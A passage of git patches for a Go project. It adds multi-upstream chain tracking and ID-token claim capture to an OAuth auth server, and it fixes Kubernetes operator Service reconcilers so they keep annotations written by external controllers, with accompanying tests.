StorePendingAuthorization(_ context.Context, state strin ResolvedUserName: pending.ResolvedUserName, ResolvedUserEmail: pending.ResolvedUserEmail, SingleLeg: pending.SingleLeg, + ChainUpstreams: slices.Clone(pending.ChainUpstreams), CreatedAt: pending.CreatedAt, } @@ -1015,6 +1016,7 @@ func (s *MemoryStorage) LoadPendingAuthorization(_ context.Context, state string ResolvedUserName: pending.ResolvedUserName, ResolvedUserEmail: pending.ResolvedUserEmail, SingleLeg: pending.SingleLeg, + ChainUpstreams: slices.Clone(pending.ChainUpstreams), CreatedAt: pending.CreatedAt, }, nil } diff --git a/pkg/authserver/storage/memory_test.go b/pkg/authserver/storage/memory_test.go index d4997d9ae7..968238d342 100644 --- a/pkg/authserver/storage/memory_test.go +++ b/pkg/authserver/storage/memory_test.go @@ -871,7 +871,8 @@ func TestMemoryStorage_PendingAuthorization(t *testing.T) { State: "client-state", PKCEChallenge: "challenge", PKCEMethod: "S256", Scopes: []string{"openid", "profile"}, InternalState: state, UpstreamPKCEVerifier: "verifier", UpstreamNonce: "nonce", - SingleLeg: true, CreatedAt: time.Now(), + SingleLeg: true, ChainUpstreams: []string{"provider-1", "provider-2"}, + CreatedAt: time.Now(), } } @@ -886,6 +887,7 @@ func TestMemoryStorage_PendingAuthorization(t *testing.T) { assert.Equal(t, pending.PKCEChallenge, retrieved.PKCEChallenge) assert.Equal(t, pending.Scopes, retrieved.Scopes) assert.Equal(t, pending.SingleLeg, retrieved.SingleLeg) + assert.Equal(t, pending.ChainUpstreams, retrieved.ChainUpstreams) }) }) diff --git a/pkg/authserver/storage/redis.go b/pkg/authserver/storage/redis.go index bcddefa341..c5f53cf4a8 100644 --- a/pkg/authserver/storage/redis.go +++ b/pkg/authserver/storage/redis.go @@ -1420,6 +1420,7 @@ type storedPendingAuthorization struct { ResolvedUserName string `json:"resolved_user_name,omitempty"` ResolvedUserEmail string `json:"resolved_user_email,omitempty"` SingleLeg bool `json:"single_leg,omitempty"` + ChainUpstreams []string `json:"chain_upstreams,omitempty"` CreatedAt int64 `json:"created_at"` } @@ -1450,6 +1451,7 @@ func (s *RedisStorage) StorePendingAuthorization(ctx context.Context, state stri ResolvedUserName: pending.ResolvedUserName, ResolvedUserEmail: pending.ResolvedUserEmail, SingleLeg: pending.SingleLeg, + ChainUpstreams: slices.Clone(pending.ChainUpstreams), CreatedAt: pending.CreatedAt.Unix(), } @@ -1501,6 +1503,7 @@ func (s *RedisStorage) LoadPendingAuthorization(ctx context.Context, state strin ResolvedUserName: stored.ResolvedUserName, ResolvedUserEmail: stored.ResolvedUserEmail, SingleLeg: stored.SingleLeg, + ChainUpstreams: slices.Clone(stored.ChainUpstreams), CreatedAt: createdAt, }, nil } diff --git a/pkg/authserver/storage/redis_test.go b/pkg/authserver/storage/redis_test.go index e37394ce3d..917e8bef03 100644 --- a/pkg/authserver/storage/redis_test.go +++ b/pkg/authserver/storage/redis_test.go @@ -1389,7 +1389,8 @@ func TestRedisStorage_PendingAuthorization(t *testing.T) { State: "client-state", PKCEChallenge: "challenge", PKCEMethod: "S256", Scopes: []string{"openid", "profile"}, InternalState: state, UpstreamPKCEVerifier: "verifier", UpstreamNonce: "nonce", - SingleLeg: true, CreatedAt: time.Now(), + SingleLeg: true, ChainUpstreams: []string{"provider-1", "provider-2"}, + CreatedAt: time.Now(), } } @@ -1404,6 +1405,43 @@ func TestRedisStorage_PendingAuthorization(t *testing.T) { assert.Equal(t, pending.PKCEChallenge, retrieved.PKCEChallenge) assert.Equal(t, pending.Scopes, retrieved.Scopes) assert.Equal(t, pending.SingleLeg, retrieved.SingleLeg) + assert.Equal(t, pending.ChainUpstreams, retrieved.ChainUpstreams) + }) + }) + + t.Run("legacy JSON without chain_upstreams decodes with empty ChainUpstreams", func(t *testing.T) { + // Pin the wire-shape contract: pre-feature Redis data that has no + // "chain_upstreams" key must deserialise to an empty ChainUpstreams, which + // the callback treats as "no chain computed yet". A JSON tag rename or a + // DisallowUnknownFields flip would break this without failing another test. + withRedisStorage(t, func(ctx context.Context, s *RedisStorage, mr *miniredis.Miniredis) { + legacyJSON := fmt.Sprintf(`{ + "client_id": "legacy-client", + "redirect_uri": "https://example.com/callback", + "state": "client-state", + "pkce_challenge": "challenge", + "pkce_method": "S256", + "scopes": ["openid"], + "internal_state": "legacy-internal-state", + "upstream_pkce_verifier": "verifier", + "upstream_nonce": "nonce", + "session_id": "legacy-session", + "created_at": %d + }`, time.Now().Unix()) + + // Inject directly into miniredis, bypassing the Store path, to simulate a + // pre-feature row written without "chain_upstreams". + key := redisKey(s.keyPrefix, KeyTypePending, "legacy-internal-state") + require.NoError(t, mr.Set(key, legacyJSON)) + + retrieved, err := s.LoadPendingAuthorization(ctx, "legacy-internal-state") + require.NoError(t, err) + require.NotNil(t, retrieved) + + assert.Empty(t, retrieved.ChainUpstreams, "legacy record must decode with empty ChainUpstreams") + // Sanity-check that unrelated fields still populate from the legacy blob. + assert.Equal(t, "legacy-client", retrieved.ClientID) + assert.Equal(t, "legacy-session", retrieved.SessionID) }) }) diff --git a/pkg/authserver/storage/types.go b/pkg/authserver/storage/types.go index 320f5920b2..91490cd0ab 100644 --- a/pkg/authserver/storage/types.go +++ b/pkg/authserver/storage/types.go @@ -458,6 +458,16 @@ type PendingAuthorization struct { // preserves the multi-upstream chaining behavior. SingleLeg bool + // ChainUpstreams is the ordered, effective set of upstream provider names this + // authorization must walk, always led by the required first upstream. It is + // computed once when the first leg resolves — narrowed by the optional upstream + // filter when one is configured — and carried forward across subsequent legs so + // the filter is not re-run per leg. Empty on the first leg's inbound pending; + // populated on every subsequent leg. A subsequent leg that arrives with this + // unset (e.g. a pending written before this field existed) is rejected rather + // than recomputed, so the filter is never re-run against a later leg's context. + ChainUpstreams []string + // CreatedAt is when the pending authorization was created. CreatedAt time.Time } diff --git a/pkg/authserver/upstream/oauth2.go b/pkg/authserver/upstream/oauth2.go index 22809b3ad0..11153f9dd9 100644 --- a/pkg/authserver/upstream/oauth2.go +++ b/pkg/authserver/upstream/oauth2.go @@ -496,6 +496,7 @@ func (p *BaseOAuth2Provider) ExchangeCodeForIdentity(ctx context.Context, code, Subject: userInfo.Subject, Name: userInfo.Name, Email: userInfo.Email, + Claims: userInfo.Claims, }, nil } diff --git a/pkg/authserver/upstream/oidc.go b/pkg/authserver/upstream/oidc.go index 36ed03572a..a9b1b992dc 100644 --- a/pkg/authserver/upstream/oidc.go +++ b/pkg/authserver/upstream/oidc.go @@ -344,11 +344,22 @@ func (p *OIDCProviderImpl) ExchangeCodeForIdentity( return nil, fmt.Errorf("%w: %w", ErrIdentityResolutionFailed, err) } + // Capture all ID-token claims for downstream authorization inputs. Best-effort: + // the subject/name/email above are already resolved, so a claims-extraction + // failure only loses the enrichment, it does not fail the login. + var allClaims map[string]any + if err := validatedToken.Claims(&allClaims); err != nil { + slog.Warn("failed to extract full claims from ID token for authorization inputs", + "error", err, + ) + } + return &Identity{ Tokens: exchanged.tokens, Subject: subject, Name: idClaims.Name, Email: idClaims.Email, + Claims: allClaims, }, nil } diff --git a/pkg/authserver/upstream/oidc_test.go b/pkg/authserver/upstream/oidc_test.go index cd87281f37..83ecefbe39 100644 --- a/pkg/authserver/upstream/oidc_test.go +++ b/pkg/authserver/upstream/oidc_test.go @@ -605,6 +605,54 @@ func TestOIDCProviderImpl_ExchangeCodeForIdentity(t *testing.T) { assert.NotEmpty(t, result.Tokens.IDToken) }) + t.Run("captures ID token claims for authorization inputs", func(t *testing.T) { + t.Parallel() + + mock := newMockOIDCServer(t) + t.Cleanup(mock.Close) + + // Issue an ID token carrying claims a downstream authorization filter would + // key on (email, groups) alongside the standard set. + mock.tokenHandler = func(w http.ResponseWriter, _ *http.Request) { + idToken := mock.signIDTokenWithClaims( + testClientID, "user-789", "", time.Now().Add(time.Hour), + map[string]any{ + "email": "dev@example.com", + "groups": []any{"engineering", "admins"}, + }, + ) + resp := testTokenResponse{ + AccessToken: "access-token", + TokenType: "Bearer", + IDToken: idToken, + ExpiresIn: 3600, + } + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(resp) + } + + config := &OIDCConfig{ + CommonOAuthConfig: CommonOAuthConfig{ + ClientID: testClientID, + ClientSecret: testClientSecret, + RedirectURI: testRedirectURI, + }, + Issuer: mock.issuer, + } + + provider, err := NewOIDCProvider(ctx, config) + require.NoError(t, err) + + result, err := provider.ExchangeCodeForIdentity(ctx, "test-code", "", "") + require.NoError(t, err) + + require.NotNil(t, result.Claims, "ID token claims must be captured for authorization inputs") + assert.Equal(t, "user-789", result.Claims["sub"], "standard sub claim must be captured") + assert.Equal(t, "dev@example.com", result.Claims["email"], "custom email claim must be captured") + assert.Equal(t, []any{"engineering", "admins"}, result.Claims["groups"], + "multi-valued groups claim must be captured verbatim") + }) + t.Run("successful exchange without nonce", func(t *testing.T) { t.Parallel() diff --git a/pkg/authserver/upstream/types.go b/pkg/authserver/upstream/types.go index c7ca8b0553..f08a0a0534 100644 --- a/pkg/authserver/upstream/types.go +++ b/pkg/authserver/upstream/types.go @@ -53,6 +53,18 @@ type Identity struct { // per-user keys (doing so grows `users` without bound). Use the // synthesized Subject as an ephemeral session key only. Synthetic bool + + // Claims holds the raw claims resolved from the upstream IDP for this + // identity, for downstream authorization-policy inputs. Source by provider + // type: + // - OIDC: all claims from the validated ID token. + // - OAuth2 with userInfo: all claims from the userinfo response. + // - OAuth2 with identityFromToken, or synthetic OAuth2: nil — those paths + // resolve only scalar subject/name/email (or nothing), with no structured + // claim set to carry. + // These are informational enrichment only: they are NOT used for user + // resolution or token storage. May be nil. + Claims map[string]any } // ErrIdentityResolutionFailed indicates identity could not be determined. diff --git a/test/integration/authserver/authserver_integration_test.go b/test/integration/authserver/authserver_integration_test.go index 2fd8e22ef2..aa92eb52ae 100644 --- a/test/integration/authserver/authserver_integration_test.go +++ b/test/integration/authserver/authserver_integration_test.go @@ -8,7 +8,9 @@ import ( "crypto/ecdsa" "crypto/elliptic" "crypto/rand" + "crypto/sha256" "crypto/x509" + "encoding/base64" "encoding/json" "encoding/pem" "io" @@ -201,6 +203,172 @@ func TestEmbeddedAuthServer_AuthorizationFlow(t *testing.T) { }) } +// TestEmbeddedAuthServer_CallbackCompletesAuthorization drives the full +// single-upstream authorization: authorize (redirect to the upstream) → callback +// (upstream code exchanged, tokens stored) → the chain completes at the sole +// upstream and the authorization code is issued back to the client. This +// exercises the callback + chain-completion path that the authorize-only test +// above does not reach. +func TestEmbeddedAuthServer_CallbackCompletesAuthorization(t *testing.T) { + t.Parallel() + + ctx := context.Background() + + upstream := helpers.NewMockUpstreamIDP(t) + cfg := helpers.NewTestAuthServerConfig(t, upstream.URL()) + authServer := helpers.NewEmbeddedAuthServer(ctx, t, cfg) + + server := httptest.NewServer(authServer.Handler()) + defer server.Close() + + client := helpers.NewOAuthClient(server.URL) + clientID := registerAuthCodeClient(t, client) + challenge := pkceS256Challenge() + + // Leg 1: authorize → redirect to the upstream; capture the internal state the + // server threaded to the upstream so we can drive the callback. + authParams := url.Values{ + "response_type": {"code"}, + "client_id": {clientID}, + "redirect_uri": {testClientRedirectURI}, + "scope": {"openid"}, + "state": {"client-state-single"}, + "resource": {cfg.AllowedAudiences[0]}, + "code_challenge": {challenge}, + "code_challenge_method": {"S256"}, + } + resp, err := client.StartAuthorization(authParams) + require.NoError(t, err) + location := resp.Header.Get("Location") + require.NoError(t, resp.Body.Close()) + require.Equal(t, http.StatusFound, resp.StatusCode, "authorize should redirect to the upstream") + internalState := stateParam(t, location) + require.NotEmpty(t, internalState, "authorize must thread an internal state to the upstream") + + // Callback: with only one upstream in the chain, the server exchanges the code + // and issues the authorization code back to the client. + cbResp, err := client.Callback("mock-auth-code", internalState) + require.NoError(t, err) + defer cbResp.Body.Close() + + require.Equal(t, http.StatusSeeOther, cbResp.StatusCode, + "single-upstream chain should complete and issue the authorization code") + final := cbResp.Header.Get("Location") + assert.Contains(t, final, testClientRedirectURI, "should redirect back to the client") + assert.Contains(t, final, "code=", "should include an authorization code") + assert.Contains(t, final, "state=client-state-single", "should preserve the client state") + assert.NotContains(t, final, "error=", "should not be an error redirect") +} + +// TestEmbeddedAuthServer_MultiUpstreamChain drives an authorization across two +// configured upstreams: the first callback continues the chain to the second +// upstream, and the second callback completes it and issues the authorization +// code. This exercises the end-to-end chain traversal — the effective chain is +// computed once, carried across legs, and walked to completion. +func TestEmbeddedAuthServer_MultiUpstreamChain(t *testing.T) { + t.Parallel() + + ctx := context.Background() + + upstreamA := helpers.NewMockUpstreamIDP(t) + upstreamB := helpers.NewMockUpstreamIDP(t) + cfg := helpers.NewTestAuthServerConfig(t, upstreamA.URL(), + helpers.WithUpstreams([]authserver.UpstreamRunConfig{ + helpers.NewOAuth2Upstream("provider-a", upstreamA.URL()), + helpers.NewOAuth2Upstream("provider-b", upstreamB.URL()), + }), + ) + authServer := helpers.NewEmbeddedAuthServer(ctx, t, cfg) + + server := httptest.NewServer(authServer.Handler()) + defer server.Close() + + client := helpers.NewOAuthClient(server.URL) + clientID := registerAuthCodeClient(t, client) + challenge := pkceS256Challenge() + + authParams := url.Values{ + "response_type": {"code"}, + "client_id": {clientID}, + "redirect_uri": {testClientRedirectURI}, + "scope": {"openid"}, + "state": {"client-state-chain"}, + "resource": {cfg.AllowedAudiences[0]}, + "code_challenge": {challenge}, + "code_challenge_method": {"S256"}, + } + + // Leg 1: authorize → redirect to the first upstream. + resp, err := client.StartAuthorization(authParams) + require.NoError(t, err) + locA := resp.Header.Get("Location") + require.NoError(t, resp.Body.Close()) + require.Equal(t, http.StatusFound, resp.StatusCode) + assert.Contains(t, locA, upstreamA.URL(), "first leg targets provider-a") + stateA := stateParam(t, locA) + require.NotEmpty(t, stateA) + + // Leg 1 callback → chain continues, redirect onward to the second upstream. + cbA, err := client.Callback("code-a", stateA) + require.NoError(t, err) + locB := cbA.Header.Get("Location") + require.NoError(t, cbA.Body.Close()) + require.Equal(t, http.StatusFound, cbA.StatusCode, "chain should continue to the second upstream") + assert.Contains(t, locB, upstreamB.URL(), "second leg targets provider-b") + stateB := stateParam(t, locB) + require.NotEmpty(t, stateB) + require.NotEqual(t, stateA, stateB, "each leg uses a fresh internal state") + + // Leg 2 callback → chain complete, authorization code issued to the client. + cbB, err := client.Callback("code-b", stateB) + require.NoError(t, err) + defer cbB.Body.Close() + + require.Equal(t, http.StatusSeeOther, cbB.StatusCode, "completed chain should issue the code") + final := cbB.Header.Get("Location") + assert.Contains(t, final, testClientRedirectURI, "should redirect back to the client") + assert.Contains(t, final, "code=", "should include an authorization code") + assert.Contains(t, final, "state=client-state-chain", "should preserve the client state") + assert.NotContains(t, final, "error=", "should not be an error redirect") +} + +// testClientRedirectURI is the client callback used by the authorization-flow tests. +const testClientRedirectURI = "http://localhost:8080/callback" + +// registerAuthCodeClient performs DCR for an authorization-code client and returns +// its client_id. +func registerAuthCodeClient(t *testing.T, client *helpers.OAuthClient) string { + t.Helper() + regResult, statusCode, err := client.RegisterClient(map[string]interface{}{ + "client_name": "Integration Test Client", + "redirect_uris": []string{testClientRedirectURI}, + "grant_types": []string{"authorization_code", "refresh_token"}, + }) + require.NoError(t, err) + require.Equal(t, http.StatusCreated, statusCode, "client registration should succeed") + clientID, ok := regResult["client_id"].(string) + require.True(t, ok, "registration response must include a client_id") + return clientID +} + +// stateParam extracts the `state` query parameter from a redirect Location. +func stateParam(t *testing.T, location string) string { + t.Helper() + require.NotEmpty(t, location, "redirect must include a Location header") + u, err := url.Parse(location) + require.NoError(t, err) + return u.Query().Get("state") +} + +// pkceS256Challenge returns a valid S256 code challenge for a fixed verifier. The +// verifier itself is unused because these tests assert the authorization-code +// redirect rather than completing the token exchange. +func pkceS256Challenge() string { + const verifier = "integration-test-pkce-verifier-0123456789abcdef" + sum := sha256.Sum256([]byte(verifier)) + return base64.RawURLEncoding.EncodeToString(sum[:]) +} + // TestEmbeddedAuthServer_DynamicClientRegistration verifies DCR (RFC 7591) support. // //nolint:paralleltest,tparallel // Subtests share expensive test fixtures diff --git a/test/integration/authserver/helpers/authserver.go b/test/integration/authserver/helpers/authserver.go index f4939f445f..60fec7c992 100644 --- a/test/integration/authserver/helpers/authserver.go +++ b/test/integration/authserver/helpers/authserver.go @@ -53,6 +53,31 @@ func WithBaselineClientScopes(scopes []string) AuthServerOption { } } +// WithUpstreams overrides the default single test upstream with an explicit, +// ordered list of upstream providers. Used to exercise multi-upstream +// authorization chains. +func WithUpstreams(upstreams []authserver.UpstreamRunConfig) AuthServerOption { + return func(c *authServerConfig) { + c.upstreams = upstreams + } +} + +// NewOAuth2Upstream builds an OAuth2 upstream run config pointing at the given +// mock upstream base URL. It has no userinfo endpoint, so the auth server resolves +// a synthetic identity for it — sufficient for exercising chain traversal. +func NewOAuth2Upstream(name, upstreamURL string) authserver.UpstreamRunConfig { + return authserver.UpstreamRunConfig{ + Name: name, + Type: authserver.UpstreamProviderTypeOAuth2, + OAuth2Config: &authserver.OAuth2UpstreamRunConfig{ + AuthorizationEndpoint: upstreamURL + "/authorize", + TokenEndpoint: upstreamURL + "/token", + ClientID: "test-client-id", + RedirectURI: upstreamURL + "/callback", + }, + } +} + // GetFreePort returns an available TCP port on localhost. func GetFreePort(tb testing.TB) int { tb.Helper() diff --git a/test/integration/authserver/helpers/http_client.go b/test/integration/authserver/helpers/http_client.go index 550be402e1..31fefa53bf 100644 --- a/test/integration/authserver/helpers/http_client.go +++ b/test/integration/authserver/helpers/http_client.go @@ -116,6 +116,15 @@ func (c *OAuthClient) StartAuthorization(params url.Values) (*http.Response, err return c.httpClient.Get(authURL) } +// Callback drives the upstream callback leg: GET /oauth/callback with the given +// code and internal state. The client does not follow redirects, so the returned +// response exposes what the server issues — an onward redirect to the next +// upstream, or a redirect back to the client with an authorization code. +func (c *OAuthClient) Callback(code, state string) (*http.Response, error) { + params := url.Values{"code": {code}, "state": {state}} + return c.httpClient.Get(c.baseURL + "/oauth/callback?" + params.Encode()) +} + // ExchangeToken performs a token exchange at the token endpoint. func (c *OAuthClient) ExchangeToken(params url.Values) (map[string]interface{}, int, error) { resp, err := c.httpClient.PostForm(c.baseURL+"/oauth/token", params) From 8ba812e01c6c279035e8d67964e66ccb593b4f9d Mon Sep 17 00:00:00 2001 From: Michelangelo Mori <328978+blkt@users.noreply.github.com> Date: Tue, 7 Jul 2026 02:15:30 +0200 Subject: [PATCH 25/66] Preserve external annotations on operator Services (#5731) A Service co-owned by an external controller (e.g. GKE NEG/Gateway, which writes `cloud.google.com/*` annotations) made `serviceNeedsUpdate` fire on every reconcile and the update wholesale-replace those annotations, hot-looping `Update` against the concurrent writer with `resourceVersion` conflicts. * Compare operator-owned labels/annotations with `MapIsSubset` instead of `maps.Equal`, so externally-managed keys are not treated as drift * Merge (not replace) labels/annotations on write via `MergeLabels`/ `MergeAnnotations`, preserving external keys * Apply the fix to the VirtualMCPServer, MCPServer, MCPRemoteProxy, and EmbeddingServer Service reconcilers * Add detection and write-path regression tests for all four Fixes #5730 --- .../controllers/embeddingserver_controller.go | 25 +++--- .../embeddingserver_controller_test.go | 76 +++++++++++++++++ .../controllers/mcpremoteproxy_controller.go | 15 +++- .../mcpremoteproxy_deployment_test.go | 63 ++++++++++++++ .../controllers/mcpserver_controller.go | 15 +++- .../mcpserver_resource_overrides_test.go | 13 +++ .../mcpserver_service_annotations_test.go | 80 ++++++++++++++++++ .../virtualmcpserver_controller.go | 18 ++-- .../virtualmcpserver_controller_test.go | 82 +++++++++++++++++++ .../pkg/controllerutil/resources_test.go | 51 ++++++++++++ 10 files changed, 413 insertions(+), 25 deletions(-) create mode 100644 cmd/thv-operator/controllers/mcpserver_service_annotations_test.go diff --git a/cmd/thv-operator/controllers/embeddingserver_controller.go b/cmd/thv-operator/controllers/embeddingserver_controller.go index ae0a94d910..1a8461ec59 100644 --- a/cmd/thv-operator/controllers/embeddingserver_controller.go +++ b/cmd/thv-operator/controllers/embeddingserver_controller.go @@ -287,8 +287,11 @@ func (r *EmbeddingServerReconciler) ensureService( if r.serviceNeedsUpdate(service, embedding) { desiredService := r.serviceForEmbedding(ctx, embedding) service.Spec.Ports = desiredService.Spec.Ports - service.Labels = desiredService.Labels - service.Annotations = desiredService.Annotations + // Merge (not replace) Labels/Annotations so keys written by external controllers + // (e.g. GKE NEG's cloud.google.com/* annotations) are preserved while the + // operator-owned values are applied. + service.Labels = ctrlutil.MergeLabels(desiredService.Labels, service.Labels) + service.Annotations = ctrlutil.MergeAnnotations(desiredService.Annotations, service.Annotations) // Preserve ClusterIP as it's immutable if err := r.Update(ctx, service); err != nil { ctxLogger.Error(err, "Failed to update Service", @@ -330,18 +333,16 @@ func (*EmbeddingServerReconciler) serviceNeedsUpdate( } } - // Check if expected annotations are present in service - for key, value := range expectedAnnotations { - if service.Annotations[key] != value { - return true - } + // Subset check rather than exact equality: the Service is co-owned by external + // controllers (e.g. GKE NEG/Gateway writes cloud.google.com/* annotations), so only + // the operator-owned keys must match. Exact equality would treat those external + // annotations as drift and hot-loop Update against the concurrent writer. + if !ctrlutil.MapIsSubset(expectedAnnotations, service.Annotations) { + return true } - // Check if expected labels are present in service - for key, value := range expectedLabels { - if service.Labels[key] != value { - return true - } + if !ctrlutil.MapIsSubset(expectedLabels, service.Labels) { + return true } return false diff --git a/cmd/thv-operator/controllers/embeddingserver_controller_test.go b/cmd/thv-operator/controllers/embeddingserver_controller_test.go index c13ac18a6b..abf2f683e5 100644 --- a/cmd/thv-operator/controllers/embeddingserver_controller_test.go +++ b/cmd/thv-operator/controllers/embeddingserver_controller_test.go @@ -1161,3 +1161,79 @@ func TestEmbeddingServer_PodTemplateSpec_EmptyObjectIsNoOp(t *testing.T) { assert.Contains(t, c.Args, "--model-id") assert.Contains(t, c.Args, "test-model") } + +// TestEmbeddingServerServiceNeedsUpdate_ExternalAnnotationsIgnored is a regression test +// for #5730: external controllers (e.g. GKE NEG/Gateway) write cloud.google.com/* +// annotations on the Service; these are not operator-owned and must not be treated as +// drift. A genuine operator-owned change (port) must still be detected. +func TestEmbeddingServerServiceNeedsUpdate_ExternalAnnotationsIgnored(t *testing.T) { + t.Parallel() + + embedding := v1beta1test.NewEmbeddingServer("embed", testNamespaceDefault, + v1beta1test.WithEmbeddingPort(9000)) + r := &EmbeddingServerReconciler{} + + svc := &corev1.Service{ + ObjectMeta: metav1.ObjectMeta{ + Annotations: map[string]string{ + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"9000":"k8s1-abc"}}`, + }, + }, + Spec: corev1.ServiceSpec{ + Ports: []corev1.ServicePort{{Name: "http", Port: 9000}}, + }, + } + assert.False(t, r.serviceNeedsUpdate(svc, embedding), + "external annotation must not be treated as drift") + + svc.Spec.Ports[0].Port = 1234 + assert.True(t, r.serviceNeedsUpdate(svc, embedding), + "operator-owned port drift must still be detected") +} + +// TestEmbeddingServerEnsureService_PreservesExternalAnnotations is a regression test for +// #5730: when a genuine operator-owned change triggers a Service update, annotations +// written by an external controller (e.g. GKE NEG) must be merged, not stripped. +func TestEmbeddingServerEnsureService_PreservesExternalAnnotations(t *testing.T) { + t.Parallel() + + embedding := v1beta1test.NewEmbeddingServer("embed-ext", testNamespaceDefault, + v1beta1test.WithEmbeddingPort(9000)) + + // Existing Service co-owned by GKE (external annotation) with a drifted operator-owned + // field (wrong port) so serviceNeedsUpdate fires. + existing := &corev1.Service{ + ObjectMeta: metav1.ObjectMeta{ + Name: embedding.Name, + Namespace: embedding.Namespace, + Annotations: map[string]string{ + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"9000":"k8s1-abc"}}`, + }, + }, + Spec: corev1.ServiceSpec{ + Ports: []corev1.ServicePort{{Name: "http", Port: 1234}}, + }, + } + + scheme := testutil.NewScheme(t) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(embedding, existing). + Build() + r := &EmbeddingServerReconciler{Client: fakeClient, Scheme: scheme} + + _, err := r.ensureService(context.TODO(), embedding) + require.NoError(t, err) + + updated := &corev1.Service{} + require.NoError(t, fakeClient.Get(context.TODO(), types.NamespacedName{ + Name: embedding.Name, + Namespace: embedding.Namespace, + }, updated)) + // External annotation preserved... + assert.Equal(t, `{"network_endpoint_groups":{"9000":"k8s1-abc"}}`, + updated.Annotations["cloud.google.com/neg-status"]) + // ...and the operator-owned port corrected. + require.Len(t, updated.Spec.Ports, 1) + assert.Equal(t, int32(9000), updated.Spec.Ports[0].Port) +} diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_controller.go b/cmd/thv-operator/controllers/mcpremoteproxy_controller.go index 282fb18b5b..b2952c6673 100644 --- a/cmd/thv-operator/controllers/mcpremoteproxy_controller.go +++ b/cmd/thv-operator/controllers/mcpremoteproxy_controller.go @@ -376,8 +376,11 @@ func (r *MCPRemoteProxyReconciler) ensureService( } service.Spec.Ports = newService.Spec.Ports service.Spec.SessionAffinity = newService.Spec.SessionAffinity - service.Labels = newService.Labels - service.Annotations = newService.Annotations + // Merge (not replace) Labels/Annotations so keys written by external controllers + // (e.g. GKE NEG's cloud.google.com/* annotations) are preserved while the + // operator-owned values are applied. + service.Labels = ctrlutil.MergeLabels(newService.Labels, service.Labels) + service.Annotations = ctrlutil.MergeAnnotations(newService.Annotations, service.Annotations) ctxLogger.Info("Updating Service", "Service.Namespace", service.Namespace, "Service.Name", service.Name) if err := r.Update(ctx, service); err != nil { @@ -1642,11 +1645,15 @@ func (*MCPRemoteProxyReconciler) serviceNeedsUpdate(service *corev1.Service, pro } } - if !maps.Equal(service.Labels, expectedLabels) { + // Subset check rather than exact equality: the Service is co-owned by external + // controllers (e.g. GKE NEG/Gateway writes cloud.google.com/* annotations), so only + // the operator-owned keys must match. maps.Equal would treat those external + // annotations as drift and hot-loop Update against the concurrent writer. + if !ctrlutil.MapIsSubset(expectedLabels, service.Labels) { return true } - if !maps.Equal(service.Annotations, expectedAnnotations) { + if !ctrlutil.MapIsSubset(expectedAnnotations, service.Annotations) { return true } diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_deployment_test.go b/cmd/thv-operator/controllers/mcpremoteproxy_deployment_test.go index e51d6bd34c..6b6ad56a03 100644 --- a/cmd/thv-operator/controllers/mcpremoteproxy_deployment_test.go +++ b/cmd/thv-operator/controllers/mcpremoteproxy_deployment_test.go @@ -26,6 +26,7 @@ import ( rbacv1 "k8s.io/api/rbac/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/runtime" + "k8s.io/apimachinery/pkg/types" "sigs.k8s.io/controller-runtime/pkg/client/fake" mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" @@ -605,6 +606,55 @@ func TestEnsureService(t *testing.T) { } } +// TestMCPRemoteProxyEnsureService_PreservesExternalAnnotations is a regression test for +// #5730: when a genuine operator-owned change triggers a Service update, annotations +// written by an external controller (e.g. GKE NEG) must be merged, not stripped. +func TestMCPRemoteProxyEnsureService_PreservesExternalAnnotations(t *testing.T) { + t.Parallel() + + proxy := v1beta1test.NewMCPRemoteProxy("ext-annot-proxy", "default") + + // Existing Service co-owned by GKE (external annotation) with an operator-owned field + // drifted (empty session affinity) so serviceNeedsUpdate fires. + existing := &corev1.Service{ + ObjectMeta: metav1.ObjectMeta{ + Name: createProxyServiceName(proxy.Name), + Namespace: proxy.Namespace, + Labels: labelsForMCPRemoteProxy(proxy.Name), + Annotations: map[string]string{ + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + }, + }, + Spec: corev1.ServiceSpec{ + SessionAffinity: "", + Ports: []corev1.ServicePort{{Port: 8080}}, + }, + } + + scheme := testutil.NewScheme(t) + _ = rbacv1.AddToScheme(scheme) + _ = appsv1.AddToScheme(scheme) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(proxy, existing). + Build() + reconciler := &MCPRemoteProxyReconciler{Client: fakeClient, Scheme: scheme} + + _, err := reconciler.ensureService(context.TODO(), proxy) + require.NoError(t, err) + + updated := &corev1.Service{} + require.NoError(t, fakeClient.Get(context.TODO(), types.NamespacedName{ + Name: createProxyServiceName(proxy.Name), + Namespace: proxy.Namespace, + }, updated)) + // External annotation preserved... + assert.Equal(t, `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + updated.Annotations["cloud.google.com/neg-status"]) + // ...and the operator-owned field corrected. + assert.Equal(t, corev1.ServiceAffinityClientIP, updated.Spec.SessionAffinity) +} + func TestMCPRemoteProxyDeploymentNeedsUpdate_EmbeddedAuthLegacyEnvStable(t *testing.T) { t.Parallel() @@ -1182,6 +1232,19 @@ func TestMCPRemoteProxyServiceNeedsUpdate(t *testing.T) { }(), needsUpdate: false, }, + { + // Regression for #5730: external controllers (e.g. GKE NEG/Gateway) write + // cloud.google.com/* annotations on the Service. These are not operator-owned + // and must not be treated as drift, or the operator hot-loops Update. + name: "external cloud annotations ignored", + service: func() *corev1.Service { + s := baseService.DeepCopy() + s.Annotations["cloud.google.com/neg-status"] = `{"network_endpoint_groups":{"8080":"k8s1-abc"}}` + return s + }(), + proxy: baseProxy.DeepCopy(), + needsUpdate: false, + }, } for _, tt := range tests { diff --git a/cmd/thv-operator/controllers/mcpserver_controller.go b/cmd/thv-operator/controllers/mcpserver_controller.go index a58973fbad..06eb9cc126 100644 --- a/cmd/thv-operator/controllers/mcpserver_controller.go +++ b/cmd/thv-operator/controllers/mcpserver_controller.go @@ -526,8 +526,11 @@ func (r *MCPServerReconciler) Reconcile(ctx context.Context, req ctrl.Request) ( newService := r.serviceForMCPServer(ctx, mcpServer) service.Spec.Ports = newService.Spec.Ports service.Spec.SessionAffinity = newService.Spec.SessionAffinity - service.Labels = newService.Labels - service.Annotations = 